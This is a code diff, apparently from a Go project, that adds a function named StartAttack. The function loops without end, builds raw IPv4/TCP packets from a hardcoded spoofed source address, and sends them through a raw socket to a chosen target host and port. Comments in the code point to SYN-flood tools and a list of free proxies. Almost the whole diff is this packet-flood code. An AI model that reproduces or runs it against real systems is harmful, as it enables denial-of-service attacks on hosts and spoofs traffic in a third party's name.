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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,15 +1,111 @@ | ||
| package raw | ||
|
|
||
| import ( | ||
| "github.com/google/gopacket" | ||
| "github.com/google/gopacket/layers" | ||
| "golang.org/x/net/ipv4" | ||
| "log" | ||
| "net" | ||
| ) | ||
|
|
||
| func CreatePacket(srcIp, dstIp net.IP) layers.IPv4 { | ||
| func StartAttack(dstIpStr string, dstPort int) { | ||
| counter := 1 | ||
| for { | ||
| // https://www.programmersought.com/article/74831586115/ | ||
| // https://github.com/rootVIII/gosynflood | ||
| // https://golangexample.com/repeatedly-send-crafted-tcp-syn-packets-with-raw-sockets/ | ||
|
|
||
|
|
||
| // https://pkg.go.dev/github.com/google/gopacket | ||
| // https://github.com/david415/HoneyBadger/blob/021246788e58cedf88dee75ac5dbf7ae60e12514/packetSendTest.go | ||
| // free proxies -> https://www.sslproxies.org/ | ||
|
|
||
| var srcIp, dstIp net.IP | ||
| srcIpStr := "117.58.245.114" | ||
|
|
||
| srcIp = net.ParseIP(srcIpStr).To4() | ||
| dstIp = net.ParseIP(dstIpStr).To4() | ||
|
|
||
| // build raw/ip packet | ||
| packet := createPacket(srcIp, dstIp) | ||
| tcp := layers.TCP{ | ||
| SrcPort: layers.TCPPort(counter), | ||
| DstPort: layers.TCPPort(dstPort), | ||
| Window: 1505, | ||
| Urgent: 0, | ||
| Seq: 11050, | ||
| Ack: 0, | ||
| ACK: false, | ||
| SYN: false, | ||
| FIN: false, | ||
| RST: false, | ||
| URG: false, | ||
| ECE: false, | ||
| CWR: false, | ||
| NS: false, | ||
| PSH: false, | ||
| } | ||
| counter++ | ||
|
|
||
| opts := gopacket.SerializeOptions{ | ||
| FixLengths: true, | ||
| ComputeChecksums: true, | ||
| } | ||
|
|
||
| err := tcp.SetNetworkLayerForChecksum(&packet) | ||
| if err != nil { | ||
| panic(err) | ||
| } | ||
|
|
||
| packetHeaderBuf := gopacket.NewSerializeBuffer() | ||
| err = packet.SerializeTo(packetHeaderBuf, opts) | ||
| if err != nil { | ||
| panic(err) | ||
| } | ||
| packetHeader, err := ipv4.ParseHeader(packetHeaderBuf.Bytes()) | ||
| if err != nil { | ||
| panic(err) | ||
| } | ||
|
|
||
| tcpPayloadBuf := gopacket.NewSerializeBuffer() | ||
| payload := gopacket.Payload("meowmeowmeowasdfasdfasdfasdfsdffdsdsfdsfdsfdfs") | ||
|
|
||
| err = gopacket.SerializeLayers(tcpPayloadBuf, opts, &tcp, payload) | ||
| if err != nil { | ||
| panic(err) | ||
| } | ||
| // XXX end of packet creation | ||
|
|
||
| // XXX send packet | ||
| var packetConn net.PacketConn | ||
| var rawConn *ipv4.RawConn | ||
| packetConn, err = net.ListenPacket("ip4:tcp", "127.0.0.1") | ||
| if err != nil { | ||
| panic(err) | ||
| } | ||
| rawConn, err = ipv4.NewRawConn(packetConn) | ||
| if err != nil { | ||
| panic(err) | ||
| } | ||
|
|
||
| err = rawConn.WriteTo(packetHeader, tcpPayloadBuf.Bytes(), nil) | ||
| log.Printf("packet of length %d sent!\n", len(tcpPayloadBuf.Bytes()) + len(packetHeaderBuf.Bytes())) | ||
| } | ||
| } | ||
|
|
||
| func createPacket(srcIp, dstIp net.IP) layers.IPv4 { | ||
| return layers.IPv4{ | ||
| SrcIP: srcIp, | ||
| DstIP: dstIp, | ||
| Version: 4, | ||
| TTL: 64, | ||
| } | ||
| } | ||
|
|
||
| func getRandomPort() int { | ||
| return 0 | ||
| } | ||
|
|
||
| func getRandomPayload() []byte { | ||
| return nil | ||
| } |